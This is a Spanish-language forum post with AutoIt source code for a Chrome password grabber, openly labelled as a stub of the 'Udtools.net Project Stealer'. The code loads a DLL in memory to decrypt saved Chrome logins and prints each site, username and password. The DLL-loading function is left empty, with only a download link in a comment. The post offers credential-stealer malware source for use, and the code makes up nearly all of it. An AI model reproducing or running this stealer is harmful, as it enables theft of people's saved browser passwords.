Código: Seleccionar todo

#Include <MemoryDll.au3>
;===============================================
; Func Alternative GetChromePass
; Load Dll in Memory | Decrypt Chrome Data
; Author : M3
; Proyecto Stealer Udtools.net (AutoIt)
; Usage : sGetChromePass()
; Thanks to : Ward | Pink | Strike
; [url]http://securityxploded.com/[/url]
;===============================================

GetChromePass()

Func GetChromePass()


Local   $sWeb , $sUser , $sPass , $Var , $sStructDll , $sDllCall , $sStructWeb , _
$sCreateWeb , $sStructUser , $sCreateUser , $sCreatePass , $sStructPass


Const $sNewLine = @CR & @LF


Const $sAbout = '* Chrome Password Recovery *'  & $sNewLine  & _
                '* Udtools.net Project Stealer [Stub AutoIt] *' & $sNewLine & _
                '* Coded by M3 *' & $sNewLine & $sNewLine


$sStructDll = MemoryDllopen(sCallDll())


$sDllCall = MemoryDllcall($sStructDll, 'str', 'ChromePass')


If @Error then Exit


If $sDllCall[0] > ' ' Then


$sWeb = sStringBetween($sDllCall[0] , 'url:' , 'login:' )


$sUser = sStringBetween($sDllCall[0] , 'login:' , 'passw:')


$sPass = StringRegExp($sDllCall[0], 'passw:(.+)' , 3)


$sStructWeb = 'char Web[128];'


$sCreateWeb = DllStructCreate($sStructWeb)


$sStructUser = 'char User[128];'


$sCreateUser = DllStructCreate($sStructUser)


$sStructPass = 'char PassW[128];'


$sCreatePass = DllStructCreate($sStructPass)


ConsoleWrite($sAbout)



    For $Var = 0 To UBound($sWeb) - 1


    DllStructSetData($sCreateWeb, 'Web', 'Http :' & $sWeb[$Var])

    DllStructSetData($sCreateUser, 'User', 'User :' & $sUser[$Var])

    DllStructSetData($sCreatePass, 'PassW', 'Pass : ' & $sPass[$Var])

    $WebData = DllStructGetData($sCreateWeb, 1)

    $UserData = DllStructGetData($sCreateUser, 1)

    $sPassWData = DllStructGetData($sCreatePass, 1)

    ConsoleWrite ( $WebData & $sNewLine & $UserData & $sNewLine  &  $sPassWData  &  $sNewLine )

    Next


MemoryDllclose($sStructDll)


Exit


Else


ConsoleWrite($sAbout & $sNewLine & ' No ay Datos a Buscar ' )


EndIf


Exit


EndFunc




Func sStringBetween($s_String, $s_Start, $s_End, $v_Case = -1)

;   Solo Para hacer mas chico el @Compiled < String.au3 >
    
        Local $s_case = ""
    
        If $v_Case = Default Or $v_Case = -1 Then $s_case = "(?i)"

    Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
    
        $s_Start = StringRegExpReplace($s_Start, $s_pattern_escape, "\\$1")
    
        $s_End = StringRegExpReplace($s_End, $s_pattern_escape, "\\$1")

    If $s_Start = "" Then $s_Start = "\A"

    If $s_End = "" Then $s_End = "\z"

    Local $a_ret = StringRegExp($s_String, "(?s)" & $s_case & $s_Start & "(.*?)" & $s_End, 3)

    If @error Then Return SetError(1, 0, 0)
    
        Return $a_ret

EndFunc



Func sCallDll()
; Download : [url]http://www.datafilehost.com/download-8acb385b.html[/url]
Endfunc